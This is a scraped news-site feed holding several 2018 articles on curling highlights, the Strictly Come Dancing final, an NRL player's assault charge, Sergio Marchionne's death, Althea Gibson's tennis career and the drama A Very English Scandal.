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]]> https://briefnews.eu/coronation-street-spoilers-roy-cropper-rocked-by-shock-death-in-the-family/feed/ 0 Curling rocked in 2018: Here's why https://briefnews.eu/curling-rocked-in-2018-heres-why/ https://briefnews.eu/curling-rocked-in-2018-heres-why/#respond Wed, 26 Dec 2018 11:52:15 +0000 http://briefnews.eu/curling-rocked-in-2018-heres-why/ The 2018 curling season marked a massive shift in the landscape of the sport. Notably, the rest of the world has caught up to Canada in the roaring game.

From the United States men's gold to South Korea's women's silver and Canada's teams failing to reach the podium, there was no shortage of drama on the pebbled ice at the Winter Olympics.

But there were magical moments on the ice for Canadian curlers in Pyeongchang and beyond. Here's a look around the rings this past year.

10. Brad Jacobs miracle shot

Brad Jacobs called the shot and he made the shot, although it looked nearly impossible. In a game just a couple weeks ago at the Boost National in Conception Bay South, N.L., Jacobs was forced to throw a miracle shot with his last rock.

The 2014 Olympic champion hit a highlight-reel double-raise in-off that found the button to force an extra end against Niklas Edin. Jacobs went on to steal two points for the win.

Watch Brad Jacobs work his magic:

The 2014 Olympic champion hit a highlight-reel double-raise in-off that found the button to force an extra end against Niklas Edin. Jacobs went on to steal two points for the win. 1:25

9. Canadian curlers set world record

The numbers are staggering: 392 ends of curling, 6,272 stones thrown, a final score of 450-237 — and most importantly, one world record.

A group of 10 Ontario curlers just received word a few months ago that their game that lasted 105 hours six minutes 51 seconds — spanning from the end of September into October — has set a new Guinness World Record.

These 10 Ontarians now hold the record for longest ever curling game at 105 hours, six minutes and 51 seconds. (Brittany Pearce for CBC Sports)

8. Alberta bonspiel goes awry for an Olympic champ

The curling foursome of Jamie Koe, Ryan Fry, Chris Schille, and DJ Kidby was kicked out of the Red Deer Curling Classic in November for "unacceptable behaviour" that included being "extremely drunk."

All curlers later apologized, including Fry, a 2014 Olympic gold medallist who has since stepped away from Team Brad Jacobs for self-improvement. It's expected Fry will return with the team in the new year.

'I allowed myself to lose control,' 2014 Olympic gold medallist Ryan Fry said about his behaviour at the Red Deer Curling Classic in November. (Jeff McIntosh/Canadian Press)

7. Brad Gushue repeats at Brier

It took Brad Gushue 13 tries before winning his first Brier. He then followed it up with another Brier win as Team Canada playing in Regina.

Gushue downed Alberta's Brendan Bottcher 6-4 in the final for a second straight Canadian title. Gushue's win in the final was his 123rd all-time at the Brier. Now the team is looking for three-straight in 2019 and becoming the first to do so since Randy Ferbey's Alberta team did it in the early 2000s.

Watch highlights from Gushue's win:

Gushue defeated Brendan Bottcher 6-4 in the Brier final to become the first repeat winner since Kevin Martin in 2008-09. 1:25

6. Jennifer Jones crowned world champion

The 2018 women's world championship was a roller-coaster ride for Jennifer Jones and her team, who were competing in front of a home crowd in North Bay, Ont. And the championship game was just as turbulent.

The back-and-forth final came down to an extra-end in front of a tense, capacity crowd. Without hammer, Sweden's Anna Hasselborg missed a pick shot, giving Jones the win. It was her second women's world championship title. Jones won her first world championship a decade earlier in 2008.

Watch highlights from Jones's win:

Jones' Canadian rink edged Anna Hasselborg's team from Sweden 7-6 in extra ends to win the Women's Curling World Championship. 1:42

5. Canadian teams hits 'rock bottom' at Olympics

There will be no Canadian curling summit but there will continue be some serious introspection after Canada's disappointing curling performance at the Olympics.

Both Rachel Homan and Kevin Koe's teams failed to reach the podium. Before this, every Canadian curling team had medaled at the Olympics since the sport was reintroduced to the program in 1998. Ben Hebert called it "rock bottom" after losing to Switzerland in the bronze medal game.

Watch a recap of curling from the 2018 Games:

The CBC Olympic curling panel recaps an exciting 2018 Olympic curling tournament on both the men's and women's sides. 8:59

4. 'Garlic Girls' captivate home fans

Very quickly at the Olympics it was becoming clear that South Korea was fixated on curling and its women's team. In fact, Team Kim had remarkable success to make it all the way to the gold-medal game against Sweden. The "Garlic Girls" were overnight rockstars after capturing silver — the country's first-ever curling medal.

Despite losing to Sweden, all four members of the team basked in the raucous cheers raining down on them at the end of the game. The fans kept cheering as tears streamed down the faces of the curlers. They so badly wanted gold for their country but raised the profile of the game immensely in South Korea.

South Korea's women's curling team earned a silver medal, the country's first Olympic medal in the sport. (Ronald Martinez/Getty Images)

In November it was reported South Korea's sports ministry was conducting a joint investigation with the national Olympic committee into allegations of abuse by the so-called Garlic Girls. In the letter, the team accused former Korean Curling Federation (KCF) vice-president Kim Kyong-doo of verbal abuse and team coaches of giving unreasonable orders and subjecting their private lives to excessive control.

3. Canada's resilient Paralympic rink

The Canadian wheelchair curling team quickly earned the nickname "The Comeback Kids" after showing a brilliant knack for mounting come-from-behind wins, but they also became known for their smiles and positivity on the ice.

Marie Wright, Dennis Thiessen, Ina Forrest and Mark Ideson wanted gold badly for Canada. After losing the semifinal in heartbreaking fashion, they responded with an emotional win in the bronze-medal game.

Watch skip Ideson discuss his Paralympic experience:

Ideson spoke with CBC's Lauren Woolstencroft after his Canadian rink won a bronze medal in wheelchair curling. 2:10

2. Curling's Miracle on Ice?

John Shuster and his American curling team made history when they won gold at the Olympics. It was the country's first gold medal in curling at the Games. Many have called what they did a curling 'Miracle on Ice.'

In the championship game, Shuster scored five in the eighth to secure victory. But perhaps more importantly and impressive was Shuster's two wins over the Canadians on the way to winning it all. Never before had an American team defeated Canada at curling in the Olympics — Shuster did it twice, once in the round robin and then in the semifinal.

John Shuster skipped the United States to the country's first-ever Olympic gold in curling. (Natacha Pisarenko, File/Associated Press)

1. Lawes and Morris make curling history

Kaitlyn Lawes and John Morris weren't even a team two months prior the Olympics. They practiced once, for about 30 minutes in Winnipeg, before the Canadian mixed doubles trials in Portage la Prairie, Man.

Their dreams of making it to the Olympics with their foursomes were dashed and they didn't have a lot of time to feel sorry for themselves. They quickly found the perfect chemistry for golden success.

Their second chance at Olympic glory came in the form of mixed doubles, which made its debut at the Winter Games in Pyeongchang. They seized the moment defeating Switzerland 10-3 in six ends.

John Morris and Kaitlyn Lawes found unexpected chemistry that led to an Olympic gold medal. 0:38

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]]> https://briefnews.eu/curling-rocked-in-2018-heres-why/feed/ 0 Strictly Come Dancing 2018: Stacey Dooley rocked by HUGE revelation after win https://briefnews.eu/strictly-come-dancing-2018-stacey-dooley-rocked-by-huge-revelation-after-win/ https://briefnews.eu/strictly-come-dancing-2018-stacey-dooley-rocked-by-huge-revelation-after-win/#respond Sun, 16 Dec 2018 14:21:51 +0000 http://briefnews.eu/strictly-come-dancing-2018-stacey-dooley-rocked-by-huge-revelation-after-win/

, 31, managed to beat fellow finalists Joe Sugg, 27, Faye Tozer, 42, and Ashley Roberts, 37, after weeks of intense competition on .

The documentary maker was the firm fan favourite going into the final of the dance show, with viewers flocking to the bookies to place their bets.

Joe was Stacey’s closest competitor going into the grand final, but the Strictly winner managed to see her journey through for a triumphant finish.

It seems many fans tuned in to watch the crowning moment, with the viewing figures suggesting millions were keen to witness Stacey and partner Kevin’s, 36, win.

According to overnight viewing figures, the Strictly 2018 final reached a peak of 12.7 million viewers at the time of broadcast.

Throughout the course of the show, the audience averaged 11.7 million viewers, making the final the most watched show of the series.

It beat last weekend’s semi-final show, which gained an audience of 10 million viewers, with an average of 9.2 million tuning in to watch Lauren Steadman, 25, and AJ Pritchard, 24, perform for the final time.

The final also exceeded viewing figures for the quarter-finals, which saw 10.7 million viewers witness Charles Venn, 45, and Karen Clifton, 36, perform the Rhumba.

However, it didn’t manage to beat last year’s final as viewing figures for Joe McFadden’s, 43, victory appeared no match.

Overnight figures are only part of the total viewing numbers as fans are expected to watch the final on BBCiPlayer, meaning Stacey’s win could put Strictly as a contender for this year’s most watched TV show.

Ore Oduba, 33, and Kevin’s sister Joanne Clifton, 35, managed to top both finals as an audience of 11.8 million tuned in to watch their winning moment.

However, last night belonged to Stacey and Kevin who were both overcome with emotion when speaking to hosts Tess Daly, 49, and Claudia Winkleman, 46, after the result.

Stacey went on to praise her partner, saying: “You’re patient, you’re talented, your choreography is like second to none. I’ve had the most incredible time.

Kevin added: “You’ve spent every day in training working so hard and always with a massive smile on your face. You’ve just been so lovely thank you so much.”

Going into the final, Stacey’s odds were at 8/15 with bookmakers Ladbrokes, with Joe’s chances of winning at 9/4 after being cut from 3/1.

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]]> https://briefnews.eu/strictly-come-dancing-2018-stacey-dooley-rocked-by-huge-revelation-after-win/feed/ 0 NRL rocked by second assault charge https://briefnews.eu/nrl-rocked-by-second-assault-charge/ https://briefnews.eu/nrl-rocked-by-second-assault-charge/#respond Fri, 07 Dec 2018 09:44:21 +0000 http://briefnews.eu/nrl-rocked-by-second-assault-charge/ Wests Tigers recruit Zane Musgrove has been charged with a range of offences, including aggravated indecent assault.

Nine News reported Musgrove and a companion were accused of aggravated indecent assault after an incident at the Coogee Bay Hotel last month.

Both men reportedly handed themselves into police earlier this week and will face court next month.

It’s more bad news for the NRL, just a day after Manly’s Dylan Walker was stood down from training with the Sea Eagles after an alleged domestic violence incident.

A police statement from the Eastern Suburbs Police Area Command read: “Two men have been charged following an investigation into an alleged indecent assault in Sydney’s east last month.

“About 12.30am on Saturday 24 November 2018, a 22-year-old woman was allegedly indecently assaulted by two men at a licensed premises in Coogee.

“The woman reported the alleged incident to security and later made a report to Eastern Beaches Police Area Command.

“Following inquiries by detectives, a 22-year-old man attended Maroubra Police Station on Wednesday 5 December 2018.

“He was arrested and charged with assault with act of indecency, aggravated indecent assault — offender in company, and common assault.

“About 8am on Thursday 6 December 2018, a 22-year-old man attended Maroubra Police Station.

“He was charged with assault with act of indecency, and aggravated indecent assault — offender in company.

“Both men were granted conditional bail to appear at Waverley Local Court on Wednesday 23 January 2019.”

Musgrove had played 27 games with the South Sydney Rabbitohs but was released to join the Tigers in November.

The front-rower is also a Samoan international and played in the 2017 World Cup.

The Wests Tigers released a statement on its website about the incident.

“Wests Tigers have been made aware of an alleged incident involving player Zane Musgrove. The club has alerted the NRL Integrity Unit of the matter,” the statement read.

“Wests Tigers takes its position in the community very seriously and will work with the NRL Integrity Unit and NSW Police on the allegations.

“The club will make no further comment on the matter until the investigation is complete.”

New Tigers coach Michael Maguire brought Musgrove to the club and when it was announced, praised the 22-year-old’s performances.

“When I worked with Zane previously and he played consecutive games I could see that he was growing into a really strong player,” said Maguire. “With more experience I can see him excelling in the future.

“He brings size, strength and skill to our pack and works hard on his defence. I look forward to working with him to help him reach his potential.”

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]]> https://briefnews.eu/nrl-rocked-by-second-assault-charge/feed/ 0 F1 world rocked by icon’s tragic death https://briefnews.eu/f1-world-rocked-by-icons-tragic-death/ https://briefnews.eu/f1-world-rocked-by-icons-tragic-death/#respond Wed, 25 Jul 2018 21:37:09 +0000 http://briefnews.eu/f1-world-rocked-by-icons-tragic-death/ FORMER Ferrari president Sergio Marchionne has died aged 66.

Complications arising from surgery on his shoulder had led to the Italian-Canadian being stood down with “profound sorrow” as the head of the Ferrari and Fiat-Chrysler car companies last Saturday.

On Wednesday, the holding company of the Fiat founding family said that Marchionne had passed away.

“Unfortunately, what we feared has come to pass. Sergio Marchionne, man and friend, is gone,” said chairman John Elkann in a statement.

“I believe that the best way to honour his memory is to build on the legacy he left us, continuing to develop the human values of responsibility and openness of which he was the most ardent champion.

“My family and I will be forever grateful for what he has done. Our thoughts are with Manuela, and his sons Alessio and Tyler.”

Marchionne was regarded as one of the most powerful and successful chief executives in the automotive world.

And, after adding the title of Ferrari president to his responsibilities in 2014, he became one of F1’s most influential figures too.

Marchionne joined Fiat in 2004 and five years later oversaw the Italian car maker’s takeover of Chrysler, which saved the American firm from bankruptcy.

He succeeded the long-serving Luca di Montezemolo as Ferrari president in 2014 and in recent seasons F1’s most famous team have returned to title-contending form in a fierce battle with Mercedes.

Speaking in a statement last Saturday, Elkann described Marchionne as someone who “always made a difference”.

“What struck me about Sergio from the very beginning, when we met to talk about the possibility of him coming to work for the Group, even more than his management skills and unusual intelligence, were his human qualities, his generosity and the way he understood people,” said Elkann.

“Over the past 14 years together we have lived through successes and difficulties, internal and external crises, but also unique and unrepeatable moments, both personal and professional. For so many, Sergio has been an enlightened leader and a matchless point of reference.”

Elkann has assumed the role of Ferrari chairman with Louis Camilleri named CEO.

Tributes poured in for Marchionne. F2 chairman Chase Carey said: “We are deeply saddened by the passing of Sergio Marchionne. He was a great leader of not just Formula 1 and the automobile world, but the business world overall.

“He led with great passion, energy and insight, and inspired all around him. His contributions to Formula 1 are immeasurable. He was also a true friend to all of us and he will be deeply missed. At this difficult time we extend our deepest sympathies to his family, friends and colleagues.”

FIA president Jean Todt said: “It is with great sadness that I learned that Sergio Marchionne tragically and unexpectedly passed away. Sergio achieved a colossal amount for the automotive industry and motorsport worldwide. He dedicated himself fully to turn around the Fiat-Chrysler group and put all his energy to bring Scuderia Ferrari back to the top.

“He was an endearing, upstanding and brave man, an unconventional and visionary leader. He was an eminent member of the FIA F1 Strategy Group and of the FIA High-Level Panel for Road Safety. His death is a considerable loss. On behalf of the entire FIA community, all my thoughts go out to his family, his friends and his Ferrari and Fiat-Chrysler group teams”.

This story first appeared on Sky Sports and was republished with permission

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]]> https://briefnews.eu/f1-world-rocked-by-icons-tragic-death/feed/ 0 This Harlem Native Rocked Roland Garros … Back in 1956 https://briefnews.eu/this-harlem-native-rocked-roland-garros-back-in-1956/ https://briefnews.eu/this-harlem-native-rocked-roland-garros-back-in-1956/#respond Sun, 10 Jun 2018 05:58:10 +0000 http://briefnews.eu/this-harlem-native-rocked-roland-garros-back-in-1956/ Three years after Jackie Robinson broke Major League Baseball’s color barrier in 1947, the world of tennis saw its own segregated traditionalism under siege. Thanks to a young woman from Harlem — a fierce competitor with a forehand forged on the Police Athletic League playgrounds — delaying integration was no longer feasible. Althea Gibson had arrived, ready to shake up the world of tennis.

So why has memory of her faded?

“I grew up hearing stories about Arthur Ashe and everything he represented for Black players, like myself,” says Frances Tiafoe, a 20-year-old Maryland native ranked 58th on the ATP tennis World Tour. “But it wasn’t until I got older that I even heard of [Gibson].”

 

I knew that I was an unusual, talented girl, through the grace of God.

 

Althea Gibson

Well before she became the first Black athlete to be invited to the U.S. National Championships (now U. S. Open) in 1950, it was evident Gibson was an effervescent talent. On the playground, golf course, stage or court, Gibson was a star. The 1939 New York City table tennis champion grew into a tennis phenom, becoming the first minority to with a Grand Slam title (the French Open,1956) before capturing U.S. National and Wimbledon trophies in both 1957 and 1958. She won 11 Grand Slam titles, then became the first Black woman on golf’s LPGA tour. By any definition, Gibson was a barrier-breaker — an iconic figure in the rich annals of a sport that reveres history. But, chances are, you’ve never heard of her.

When a teenage Arthur Ashe, who remains the only Black man to win singles titles at the U.S. Open, Wimbledon and the Australian Open, wanted to perfect his craft, he employed the help of Robert Walter Johnson, a physician and tennis trainer in Virginia. Johnson was known as the godfather of Black tennis for founding the American Tennis Association’s (ATA) Junior Development Program for African-American youths. Early on, his most successful pupil was an 18-year-old Althea Gibson.

In 1941, one year after picking up the sport, a 14-year old Gibson won her first tournament, the all-Black ATA New York State championships. She was runner-up in the 1946 championship, but her performance caught Johnson’s eye. According to a 1957 Time magazine profile entitled “The Gibson Girl,” Johnson asked the young star how she would “like to play at Forest Hills one day.”

“Don’t kid me,” she said, brushing off the notion that a Black girl would ever play in the U.S. Nationals at Forest Hills Stadium in Queens, New York.

Gettyimages 545335657

Four years later, she debuted at Forest Hills on her 23rd birthday. “I knew that I was an unusual, talented girl, through the grace of God,” she told Time. After years of lobbying by the ATA and retired tennis Hall of Famer Alice Marble, the U.S. Tennis Association invited Gibson and her unusual talents to the tournament. She lost in the second round, but her presence at the formerly white-only club was felt near and far. She played fast and hit hard, in an almost violent manner reminiscent of today’s stars. But, back then, her style was shockingly untraditional.

Gibson won her first international title in Jamaica in 1951. That same year she became the first Black athlete to play Wimbledon. But, in 1956, the nearly 30-year-old Gibson was still searching for a singles championship. The breakthrough came in Paris when she captured the 1956 French Open crown at the hallowed Roland Garros.

In the mid-20th century, though, peak athleticism did not last long for most athletes. Segregation nearly cost Gibson a chance to realize her potential. Nearly. The next year, she won singles titles at Wimbledon, the Australian Open and U.S. Nationals, before repeating her wins at Wimbledon and U.S. Nationals in 1958.

Gibson retired in 1958, owner of 56 national and international singles and doubles amateur titles. Prior to the open era, prize money was nonexistent and endorsement deals were minimal. “Being the Queen of Tennis is all well and good, but you can’t eat a crown,” she said at the time. “I reign over an empty bank account, and I’m not going to fill it by playing amateur tennis.”

Gettyimages 517388658

A talented vocalist, Gibson appeared on The Ed Sullivan Show to promote an album in 1957, but sales were disappointing. She worked as an actress, comedian and sports broadcaster, and published a memoir in 1960.

Then, of course, she did what she did best: flipped another whitewashed sport on its head. In 1964, a 37-year-old Gibson became the first Black woman to play on golf’s LPGA tour, but she still faced years of discrimination from clubs that refused her presence.

Today, sports fans of a certain age know only a reality in which two of the greatest tennis players ever — Serena and Venus Williams — are Black. But it was another 15 years after Gibson’s triumphs before another woman of color — Australian Evonne Goolagong, in 1971 — won a Grand Slam title, and 43 years before Serena won her first of six U.S. Opens, in 1999. Venus won the next two, imitating Gibson’s repeat feat decades earlier. Before that 1999 title, Serena penned Gibson a letter, thanking her for paving the way.

In February, the USTA announced plans to erect a memorial statue of Gibson — who passed away in 2003 — at the Billie Jean King Tennis Center, home of the Open and mere miles from Forest Hills Stadium. It won’t be ready for this year’s tournament in August, but soon a day will come when fans invade the grounds for America’s most famous tennis tournament, sipping honey deuce cocktails and ready to cheer on the chosen few. Maybe, as fans are prone to do, they’ll stop to admire the giant bronze statue before filing into tiers of seats. At that moment, tennis will have finally paid Althea Gibson her due.

]]> https://briefnews.eu/this-harlem-native-rocked-roland-garros-back-in-1956/feed/ 0 The scandal that rocked Britain https://briefnews.eu/the-scandal-that-rocked-britain/ https://briefnews.eu/the-scandal-that-rocked-britain/#respond Sat, 19 May 2018 02:54:51 +0000 http://briefnews.eu/the-scandal-that-rocked-britain/

In demand on both sides of the Atlantic, it was going to take a big project to tempt the 57 year old back to the small screen.

So it is testament to the high-profile team behind A Very English Scandal that Hugh needed little persuasion to take on the role of disgraced politician Jeremy Thorpe.

“It is so up my alley,” Hugh enthuses.

“I love things which are funny and sad at the same time, which rejoice in eccentricity – the oddness of people – and I’ve become very interested in politics over the last six years, so I love that aspect of it.”

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Written by the BAFTA award-winning Doctor Who writer Russell T Davies, and directed by BAFTA winner Stephen Frears, the three-part BBC series is based on the book by John Preston and tells the story of the sex scandal that rocked 1970s Britain, as Liberal leader Jeremy Thorpe found himself on trial for conspiracy to murder his former lover Norman Scott.

Their relationship had taken place a decade earlier, when homosexuality was still illegal and carried heavy criminal penalties.

When it turned sour, Thorpe was accused of hiring a hitman to silence Scott, and went on trial at the Old Bailey.

Finding the right actor to play the flamboyant Eton-educated politician was vital for the drama’s credibility and success, and executive producer Dominic Treadwell-Collins says Hugh was always their first choice.

A Very English ScandalPR

A Very English Scandal brings Hugh Grant back into the fold of British television

“He is sharp, witty and intelligent, and to have him play one of the most controversial figures of British politics is utterly thrilling,” he explains.

“When I read the book, all the way through, I kept saying: ‘Hugh Grant, Hugh Grant.’ He is the quintessential British actor. And getting Hugh lifts the whole piece onto a global stage and makes it feel big and international and important.”

Hugh threw himself into the role.

“I thought everyone was going to watch it, so I panicked and read every single book on the subject and met lots of people who knew Thorpe and dug up old films, some of them out of the bowels of the BBC, that haven’t been seen for decades,” he says.

“I don’t know if it does any good, but it seemed to soothe me a bit.” And after discovering that Thorpe was an accomplished violinist, Hugh had violin lessons himself, in order to portray it on screen.

“I tried, God knows, I tried for months,” he smiles.

Jeremy ThorpeGETTY

Hugh plays ex-MP Jeremy Thorpe, accused of plotting to murder his ex-lover

“The piece is a virtuoso piece. I said to my violin teacher: ‘How long would you normally have been playing before you take this on?’ And he said: ‘About 10 to 12 years.’ So I did my best, but then my children broke two violins.”

In the opening episode, Jeremy is seen with his wife and newborn son – and Hugh says those scenes were even harder to film than the violin sequence.

“That baby was only the first of about 200 quadruplets throughout the series,” he jokes.

“They were enchanting, but on a film set you have to be extraordinarily nice to children. It’s not like being at home!”

Former model Norman Scott is now 78 and the only figure from the scandal still alive.

Award-winning actor Ben Whishaw, who plays him, went along to meet him.

Ben Whishaw plays Norman ScottPR

Ben Whishaw plays Norman Scott on the other side of the trial

“I was intrigued to see what he was like,” says Ben.

“He’s a very loveable character on first meeting. Very charming, funny and clever.

“He has a specific way of talking, which you want to capture. He’s created a persona and an accent that’s quite unusual. It’s quite from that time.”

However, Ben is not convinced Scott will be happy with his portrayal.

“I’m not sure he’s the sort of person who ever would be,” he muses.

“But I wouldn’t have done the script if I’d felt Norman was being painted in a particular way. I think it’s very even-handed and does justice to Norman and his story.”

Jeremy Thorpe stood trial with three other men following a bungled attempt on Scott’s life.

Blake Harrison as Andrew NewtonPR

Blake Harrison plays hitman Andrew Newton

After allegedly asking friends to arrange for Scott to be killed, they hired pilot Andrew Newton to do the job. In October 1975 Newton lured Scott out on to Dartmoor and shot his pet dog Rinka, only for the gun to jam, giving Scott the chance to run away.

The series covers the years 1965 to 1979, and central to the plot is Thorpe’s right-hand man Peter Bessell, played by Alex Jennings.

Bessell spent years paying Scott money to keep quiet about the affair. Alex believes it was Thorpe’s charm and charisma that made Bessell such a dedicated friend.

“I remember Jeremy Thorpe being a considerable figure when I was growing up during the 60s,” he recalls.

“I think my mum quite fancied him.

Norman ScottGETTY

A real life Norman Scott

“My grandparents met him when they were on holiday; they were Labour party supporters and he changed the way they voted because he was so gorgeous to them. People were charmed by him.”

Bessell was a prosecution witness at the trial, testifying in exchange for immunity from prosecution.

He famously told the court that Thorpe said of Scott: “It is no worse than shooting a sick dog.”

But Alex believes Bessell never really took it seriously. “He became disinvolved from the actual plot to kill Scott,” he says.

“He set it in motion, but I don’t think he believed it was going to happen.” 

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